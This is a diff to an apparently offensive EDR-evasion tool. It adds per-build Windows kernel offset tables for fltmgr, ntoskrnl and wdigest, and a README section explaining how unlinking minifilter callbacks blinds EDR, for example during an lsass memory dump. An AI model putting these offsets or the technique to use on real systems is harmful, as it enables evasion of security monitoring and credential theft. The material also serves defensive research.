fltmgr_16299-371.sys,28540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_16299-402.sys,28540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_16299-1480.sys,28540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_16299-1868.sys,27540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_16299-2401.sys,27540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_16299-10000.sys,28540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_17134-1.sys,29540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_17134-228.sys,29540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_17134-1098.sys,29540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_17134-1365.sys,29540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_17134-1456.sys,29540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_17763-1.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_17763-379.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_17763-592.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_17763-831.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_17763-1999.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_17763-2028.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_17763-2061.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_17763-2090.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_17763-2510.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_17763-4492.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_17763-4644.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_17763-4720.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_17763-5122.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_17763-10576.sys,2a540,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_18362-1.sys,2a580,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_18362-267.sys,2a580,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_18362-1110.sys,2a580,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_18362-1216.sys,2a580,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_18362-1645.sys,2a580,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_18362-1714.sys,2a580,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_18362-2337.sys,2a580,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_19041-264.sys,2b600,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_19041-1151.sys,2b600,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_19041-1165.sys,2b600,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_19041-1503.sys,2a600,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_19041-1526.sys,2a600,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_19041-1682.sys,2b600,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_19041-1767.sys,2b600,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_19041-1806.sys,29600,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_19041-2728.sys,29600,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_19041-2788.sys,29600,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_19041-3086.sys,29600,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_19041-3205.sys,29600,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_19041-3570.sys,29600,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_19041-3636.sys,29600,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_19041-3684.sys,29600,58,68,8,48,10,60,68,58,a0,70
|
||||||
|
fltmgr_21390-1.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22000-1.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22000-469.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22000-527.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22000-778.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22000-1098.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22000-1165.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22000-1219.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22000-1281.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22000-1696.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22000-1761.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22000-2124.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22000-2592.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22000-2600.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22621-4.sys,2c700,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22621-608.sys,2c700,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22621-1690.sys,2c700,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22621-2361.sys,2e700,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22621-2415.sys,2e700,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22621-2506.sys,2e700,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
fltmgr_22621-2771.sys,2e700,58,68,8,48,10,60,68,58,a8,70
|
||||||
|
@@ -1,4 +1,4 @@
|
|||||||
ntoskrnlVersion,PspCreateProcessNotifyRoutine,PspCreateThreadNotifyRoutine,PspLoadImageNotifyRoutine,_EPROCESS,EtwThreatIntProvRegHandle,_ETW_REG_ENTRY,_ETW_GUID_ENTRY,PsProcessType,PsThreadType,_OBJECT_TYPE,SeCiCallbacks
|
ntoskrnlVersion,PspCreateProcessNotifyRoutine,PspCreateThreadNotifyRoutine,PspLoadImageNotifyRoutine,_EPROCESS_Protection,EtwThreatIntProvRegHandle,_ETW_REG_ENTRY_GuidEntry,_ETW_GUID_ENTRY_ProviderEnableInfo,PsProcessType,PsThreadType,_OBJECT_TYPE_CallbackList,SeCiCallbacks
|
||||||
ntoskrnl_10240-16384.exe,35d2e0,35d0e0,35cee0,6aa,0,20,50,3c51e8,3c5200,c8,31ee80
|
ntoskrnl_10240-16384.exe,35d2e0,35d0e0,35cee0,6aa,0,20,50,3c51e8,3c5200,c8,31ee80
|
||||||
ntoskrnl_10240-17394.exe,35d420,35d220,35d020,6aa,0,20,50,3c51e8,3c5200,c8,31ef40
|
ntoskrnl_10240-17394.exe,35d420,35d220,35d020,6aa,0,20,50,3c51e8,3c5200,c8,31ef40
|
||||||
ntoskrnl_10240-17443.exe,35c420,35c220,35c020,6aa,0,20,50,3c41e8,3c4200,c8,31df40
|
ntoskrnl_10240-17443.exe,35c420,35c220,35c020,6aa,0,20,50,3c41e8,3c4200,c8,31df40
|
||||||
@@ -55,6 +55,7 @@ ntoskrnl_10240-20048.exe,369520,369320,369120,6b2,0,20,50,3cf230,3cf248,c8,32b06
|
|||||||
ntoskrnl_10240-20107.exe,3695a0,3693a0,3691a0,6b2,0,20,50,3cf228,3cf248,c8,32b0a0
|
ntoskrnl_10240-20107.exe,3695a0,3693a0,3691a0,6b2,0,20,50,3cf228,3cf248,c8,32b0a0
|
||||||
ntoskrnl_10240-20161.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8,32b060
|
ntoskrnl_10240-20161.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8,32b060
|
||||||
ntoskrnl_10240-20232.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8,32b060
|
ntoskrnl_10240-20232.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8,32b060
|
||||||
|
ntoskrnl_10240-20307.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8,32b060
|
||||||
ntoskrnl_10586-0.exe,317180,316f80,316d80,6b2,0,20,50,37f228,37f248,c8,2d8d40
|
ntoskrnl_10586-0.exe,317180,316f80,316d80,6b2,0,20,50,37f228,37f248,c8,2d8d40
|
||||||
ntoskrnl_10586-1176.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8,2d7d00
|
ntoskrnl_10586-1176.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8,2d7d00
|
||||||
ntoskrnl_10586-1177.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8,2d7d00
|
ntoskrnl_10586-1177.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8,2d7d00
|
||||||
@@ -154,6 +155,7 @@ ntoskrnl_14393-5921.exe,33ce20,33cc20,33ca20,6ca,0,20,50,3a9250,3a9278,c8,2fffa0
|
|||||||
ntoskrnl_14393-5996.exe,33cf20,33cd20,33cb20,6ca,0,20,50,3a9250,3a9278,c8,300080
|
ntoskrnl_14393-5996.exe,33cf20,33cd20,33cb20,6ca,0,20,50,3a9250,3a9278,c8,300080
|
||||||
ntoskrnl_14393-6085.exe,33cea0,33cca0,33caa0,6ca,0,20,50,3a9250,3a9278,c8,300020
|
ntoskrnl_14393-6085.exe,33cea0,33cca0,33caa0,6ca,0,20,50,3a9250,3a9278,c8,300020
|
||||||
ntoskrnl_14393-6167.exe,33ce60,33cc60,33ca60,6ca,0,20,50,3a9250,3a9278,c8,300020
|
ntoskrnl_14393-6167.exe,33ce60,33cc60,33ca60,6ca,0,20,50,3a9250,3a9278,c8,300020
|
||||||
|
ntoskrnl_14393-6451.exe,33cea0,33cca0,33caa0,6ca,0,20,50,3a9250,3a9278,c8,300040
|
||||||
ntoskrnl_15063-0.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0
|
ntoskrnl_15063-0.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0
|
||||||
ntoskrnl_15063-13.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0
|
ntoskrnl_15063-13.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0
|
||||||
ntoskrnl_15063-296.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0
|
ntoskrnl_15063-296.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0
|
||||||
@@ -433,6 +435,7 @@ ntoskrnl_17763-4644.exe,4d8900,4d8b00,4d8700,6ca,409458,20,60,5402d0,5402f8,c8,4
|
|||||||
ntoskrnl_17763-4737.exe,4d8940,4d8b40,4d8740,6ca,409478,20,60,5412d0,5412f8,c8,40cc40
|
ntoskrnl_17763-4737.exe,4d8940,4d8b40,4d8740,6ca,409478,20,60,5412d0,5412f8,c8,40cc40
|
||||||
ntoskrnl_17763-4851.exe,4d8c00,4d8800,4d8a00,6ca,4094b8,20,60,5412d0,5412f8,c8,40cca0
|
ntoskrnl_17763-4851.exe,4d8c00,4d8800,4d8a00,6ca,4094b8,20,60,5412d0,5412f8,c8,40cca0
|
||||||
ntoskrnl_17763-4974.exe,4d8b40,4d8740,4d8940,6ca,409478,20,60,5402d0,5402f8,c8,40cc60
|
ntoskrnl_17763-4974.exe,4d8b40,4d8740,4d8940,6ca,409478,20,60,5402d0,5402f8,c8,40cc60
|
||||||
|
ntoskrnl_17763-5122.exe,4d8bc0,4d87c0,4d89c0,6ca,409498,20,60,5402d0,5402f8,c8,40cc80
|
||||||
ntoskrnl_18362-30.exe,500d60,500960,500b60,6fa,42fa40,20,50,56f390,56f3b8,c8,433200
|
ntoskrnl_18362-30.exe,500d60,500960,500b60,6fa,42fa40,20,50,56f390,56f3b8,c8,433200
|
||||||
ntoskrnl_18362-116.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8,433260
|
ntoskrnl_18362-116.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8,433260
|
||||||
ntoskrnl_18362-145.exe,500de0,5009e0,500be0,6fa,42f9e8,20,50,56f390,56f3b8,c8,433220
|
ntoskrnl_18362-145.exe,500de0,5009e0,500be0,6fa,42f9e8,20,50,56f390,56f3b8,c8,433220
|
||||||
@@ -589,6 +592,7 @@ ntoskrnl_19041-3448.exe,cec460,cec260,cec060,87a,c19858,20,60,cfc410,cfc440,c8,c
|
|||||||
ntoskrnl_19041-3516.exe,cec1a0,cec5a0,cec3a0,87a,c197f8,20,60,cfc410,cfc440,c8,c1d900
|
ntoskrnl_19041-3516.exe,cec1a0,cec5a0,cec3a0,87a,c197f8,20,60,cfc410,cfc440,c8,c1d900
|
||||||
ntoskrnl_19041-3570.exe,cec660,cec460,cec260,87a,c197d8,20,60,cfc410,cfc440,c8,c1d900
|
ntoskrnl_19041-3570.exe,cec660,cec460,cec260,87a,c197d8,20,60,cfc410,cfc440,c8,c1d900
|
||||||
ntoskrnl_19041-3636.exe,cec5e0,cec3e0,cec1e0,87a,c197b8,20,60,cfc410,cfc440,c8,c1d8c0
|
ntoskrnl_19041-3636.exe,cec5e0,cec3e0,cec1e0,87a,c197b8,20,60,cfc410,cfc440,c8,c1d8c0
|
||||||
|
ntoskrnl_19041-3693.exe,cec120,cec520,cec320,87a,c19798,20,60,cfc410,cfc440,c8,c1d8e0
|
||||||
ntoskrnl_22000-194.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8,c1b7c0
|
ntoskrnl_22000-194.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8,c1b7c0
|
||||||
ntoskrnl_22000-258.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8,c1b7c0
|
ntoskrnl_22000-258.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8,c1b7c0
|
||||||
ntoskrnl_22000-282.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60,d06890,d068c0,c8,c1b7e0
|
ntoskrnl_22000-282.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60,d06890,d068c0,c8,c1b7e0
|
||||||
@@ -666,3 +670,4 @@ ntoskrnl_22621-2283.exe,d0c440,d0c240,d0c040,87a,c318e0,20,60,d1da18,d1da40,c8,c
|
|||||||
ntoskrnl_22621-2361.exe,d0c510,d0c310,d0c110,87a,c318e0,20,60,d1da18,d1da40,c8,c374c0
|
ntoskrnl_22621-2361.exe,d0c510,d0c310,d0c110,87a,c318e0,20,60,d1da18,d1da40,c8,c374c0
|
||||||
ntoskrnl_22621-2428.exe,d0c610,d0c410,d0c210,87a,c318e0,20,60,d1ea18,d1ea40,c8,c37560
|
ntoskrnl_22621-2428.exe,d0c610,d0c410,d0c210,87a,c318e0,20,60,d1ea18,d1ea40,c8,c37560
|
||||||
ntoskrnl_22621-2506.exe,d0c150,d0c550,d0c350,87a,c31880,20,60,d1ea18,d1ea40,c8,c37500
|
ntoskrnl_22621-2506.exe,d0c150,d0c550,d0c350,87a,c31880,20,60,d1ea18,d1ea40,c8,c37500
|
||||||
|
ntoskrnl_22621-2715.exe,d0c150,d0c550,d0c350,87a,c31880,20,60,d1ea18,d1ea40,c8,c37500
|
||||||
|
|||||||
|
@@ -1,14 +1,16 @@
|
|||||||
imageVersion,g_fParameter_UseLogonCredential,g_IsCredGuardEnabled
|
wdigestVersion,g_fParameter_UseLogonCredential,g_IsCredGuardEnabled
|
||||||
wdigest_10240-16384.dll,35134,0
|
wdigest_10240-16384.dll,35134,0
|
||||||
wdigest_10240-17184.dll,35144,34ba0
|
wdigest_10240-17184.dll,35144,34ba0
|
||||||
wdigest_10240-18244.dll,35144,34ba0
|
wdigest_10240-18244.dll,35144,34ba0
|
||||||
wdigest_10240-18608.dll,35144,34ba0
|
wdigest_10240-18608.dll,35144,34ba0
|
||||||
wdigest_10240-18638.dll,35144,34ba0
|
wdigest_10240-18638.dll,35144,34ba0
|
||||||
|
wdigest_10240-20307.dll,35174,34ba0
|
||||||
wdigest_10586-0.dll,35db0,35ba8
|
wdigest_10586-0.dll,35db0,35ba8
|
||||||
wdigest_14393-0.dll,35dc0,35ba8
|
wdigest_14393-0.dll,35dc0,35ba8
|
||||||
wdigest_14393-3024.dll,35dc0,35ba8
|
wdigest_14393-3024.dll,35dc0,35ba8
|
||||||
wdigest_14393-3750.dll,35dc0,35ba8
|
wdigest_14393-3750.dll,35dc0,35ba8
|
||||||
wdigest_14393-3808.dll,35dc0,35ba8
|
wdigest_14393-3808.dll,35dc0,35ba8
|
||||||
|
wdigest_14393-6451.dll,35de8,35ba8
|
||||||
wdigest_15063-0.dll,34d8c,34b88
|
wdigest_15063-0.dll,34d8c,34b88
|
||||||
wdigest_15063-1868.dll,34d8c,34b88
|
wdigest_15063-1868.dll,34d8c,34b88
|
||||||
wdigest_15063-2409.dll,34d8c,34b88
|
wdigest_15063-2409.dll,34d8c,34b88
|
||||||
@@ -38,6 +40,7 @@ wdigest_17763-3887.dll,38234,37c08
|
|||||||
wdigest_17763-4011.dll,38234,37c08
|
wdigest_17763-4011.dll,38234,37c08
|
||||||
wdigest_17763-4131.dll,38234,37c08
|
wdigest_17763-4131.dll,38234,37c08
|
||||||
wdigest_17763-4974.dll,428c4,421b8
|
wdigest_17763-4974.dll,428c4,421b8
|
||||||
|
wdigest_17763-5122.dll,428c4,421b8
|
||||||
wdigest_18362-1.dll,35124,34b88
|
wdigest_18362-1.dll,35124,34b88
|
||||||
wdigest_18362-175.dll,35124,34b88
|
wdigest_18362-175.dll,35124,34b88
|
||||||
wdigest_18362-900.dll,35124,34b88
|
wdigest_18362-900.dll,35124,34b88
|
||||||
@@ -56,6 +59,8 @@ wdigest_19041-3505.dll,45a24,452e8
|
|||||||
wdigest_19041-3516.dll,45a14,452e8
|
wdigest_19041-3516.dll,45a14,452e8
|
||||||
wdigest_19041-3570.dll,45a14,452e8
|
wdigest_19041-3570.dll,45a14,452e8
|
||||||
wdigest_19041-3636.dll,45a14,452e8
|
wdigest_19041-3636.dll,45a14,452e8
|
||||||
|
wdigest_19041-3684.dll,45a24,452e8
|
||||||
|
wdigest_19041-3693.dll,45a24,452e8
|
||||||
wdigest_22000-1.dll,3caa4,3cab0
|
wdigest_22000-1.dll,3caa4,3cab0
|
||||||
wdigest_22000-434.dll,3caa4,3cab0
|
wdigest_22000-434.dll,3caa4,3cab0
|
||||||
wdigest_22000-1030.dll,3caa4,3cab0
|
wdigest_22000-1030.dll,3caa4,3cab0
|
||||||
@@ -75,3 +80,5 @@ wdigest_22621-2070.dll,4b5ac,4b5b8
|
|||||||
wdigest_22621-2361.dll,4b59c,4b5a8
|
wdigest_22621-2361.dll,4b59c,4b5a8
|
||||||
wdigest_22621-2506.dll,4b59c,4b5a8
|
wdigest_22621-2506.dll,4b59c,4b5a8
|
||||||
wdigest_22621-2700.dll,4b59c,4b5a8
|
wdigest_22621-2700.dll,4b59c,4b5a8
|
||||||
|
wdigest_22621-2715.dll,4b5ac,4b5b8
|
||||||
|
wdigest_22621-2771.dll,4b5ac,4b5b8
|
||||||
|
|||||||
|
@@ -160,6 +160,42 @@ However, performing the disabling / re-enabling (and "malicious" action in-betwe
|
|||||||
enough should be enough to "race" *PatchGuard* (unless you are unlucky and a periodic
|
enough should be enough to "race" *PatchGuard* (unless you are unlucky and a periodic
|
||||||
check is performed just at the wrong moment).
|
check is performed just at the wrong moment).
|
||||||
|
|
||||||
|
### EDR bypass through minifilters' callbacks unlinking
|
||||||
|
The Windows Filter Manager system allows an EDR to load a "minifilter" driver and
|
||||||
|
register callbacks in order to be notified of I/O operations, such as file opening,
|
||||||
|
reading, writing, etc.
|
||||||
|
|
||||||
|
Here is a quick sum-up of different internal structures used by the filter manager:
|
||||||
|
- The Filter Manager establishes a "frame" (`_FLTP_FRAME`) as its root structure;
|
||||||
|
- A "volume" structure (`_FLT_VOLUME`) is instanciated for each "disk" managed by the
|
||||||
|
Filter Manager (can be partitions, shadow copies, or special ones corresponding to
|
||||||
|
named pipes or remote file systems);
|
||||||
|
- To each registered minifilter driver corresponds a "filter" structure (`_FLT_FILTER`),
|
||||||
|
describing various properties such as its supported operations;
|
||||||
|
- These minifilters are not all attached to each volume; an "instance" (`_FLT_INSTANCE`)
|
||||||
|
structure is created to mark each of the
|
||||||
|
filter<->volume associations;
|
||||||
|
- Minifilters register callback functions that are to be executed before and/or after
|
||||||
|
specific operations (file open, write, read, etc.). These callbacks are described in
|
||||||
|
`_CALLBACK_NODE` structures, and can be accessed by different ways:
|
||||||
|
- An array of all `_CALLBACK_NODE`s implemented by an instance of a minifilter
|
||||||
|
can be found in the `_FLT_INSTANCE` structure; the array is indexed by the IRP
|
||||||
|
"major function" code, a constant representing the operations handled by the
|
||||||
|
callbacks (`IRP_MJ_CREATE`, `IRP_MJ_READ`, etc.).
|
||||||
|
- Also, all `_CALLBACK_NODE`s implemented by instances linked to a specific volume
|
||||||
|
are regrouped in linked lists, stored in the `_FLT_VOLUME.Callbacks.OperationLists`
|
||||||
|
array indexed by IRP major function codes.
|
||||||
|
|
||||||
|
These different structures are browsed by `EDRSandblast` to detect filters that are
|
||||||
|
associated with EDR-related drivers, and the callback nodes containing monitoring
|
||||||
|
functions are enumerated. To disable their effect, the nodes are unlinked from their
|
||||||
|
lists, making them temporarily invisible from the filter manager.
|
||||||
|
|
||||||
|
This way, during a specified period, the EDR can be completely unaware of any file
|
||||||
|
operations. A basic example would be the creation of an lsass memory dump file on disk,
|
||||||
|
that would not trigger any analysis from the EDR, and thus no detection based on the
|
||||||
|
file itself.
|
||||||
|
|
||||||
### EDR bypass through deactivation of the ETW Microsoft-Windows-Threat-Intelligence provider
|
### EDR bypass through deactivation of the ETW Microsoft-Windows-Threat-Intelligence provider
|
||||||
|
|
||||||
The `ETW Microsoft-Windows-Threat-Intelligence` provider logs data about the
|
The `ETW Microsoft-Windows-Threat-Intelligence` provider logs data about the
|
||||||
@@ -721,7 +757,7 @@ Finally, to detect hooking bypass (abusing a trampoline, using direct syscalls,
|
|||||||
|
|
||||||
## Thanks to contributors
|
## Thanks to contributors
|
||||||
* [v1k1ngfr](https://github.com/v1k1ngfr): for Driver Signature Enforcement bypass (via `g_CiOptions` patching) and GDRV.sys driver support
|
* [v1k1ngfr](https://github.com/v1k1ngfr): for Driver Signature Enforcement bypass (via `g_CiOptions` patching) and GDRV.sys driver support
|
||||||
* [Windy Bug](https://github.com/0mWindyBug): for a KDP-compatible Driver Signature Enforcement bypass (via *callback swapping*)
|
* [Windy Bug](https://github.com/0mWindyBug): for a KDP-compatible Driver Signature Enforcement bypass (via *callback swapping*) and their major contribution on the minifilter bypass feature
|
||||||
|
|
||||||
|
|
||||||
## Licence
|
## Licence
|
||||||
|
|||||||
Reference in New Issue
Block a user